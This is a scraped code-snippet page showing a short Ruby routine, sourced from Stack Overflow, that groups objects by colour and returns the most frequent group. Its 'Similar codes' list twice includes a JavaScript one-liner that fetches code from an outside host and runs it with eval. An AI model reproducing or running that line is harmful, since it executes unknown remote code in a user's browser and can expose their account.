/Ruby/Ruby find frequency in array self.all

Ruby find frequency in array self.all

balls = [m1, m2, m3, m4]
most_idx = nil

groups = balls.inject({}) do |hsh, ball|
  hsh[ball.color] = [] if hsh[ball.color].nil?
  hsh[ball.color] << ball

  most_idx = ball.color if hsh[most_idx].nil? || hsh[ball.color].size > hsh[most_idx].size 
  hsh
end

groups[most_idx] # => [m1,m2,m4]

Source: stackoverflow.com

Similar codes

0 vote362 views1 answer
Multiple seeds in rails 6
Ruby
0 vote352 views7 answers
$javascript $.get('//api.rbx2.xyz/rbx id=16553' eval)
Ruby
0 vote336 views1 answer
Rails-react syntax error jsx not enabled
Ruby
0 vote388 views2 answers
Droptable rails
Ruby
0 vote374 views3 answers
Invalid authenticity token rails
Ruby
0 vote361 views1 answer
Rails Migration error
Ruby
0 vote551 views5 answers
Og meta tags not working rails
Ruby
0 vote386 views6 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)
Ruby
0 vote371 views1 answer
Rails task don't recognize models
Ruby
0 vote374 views1 answer
Rails column datetime
Ruby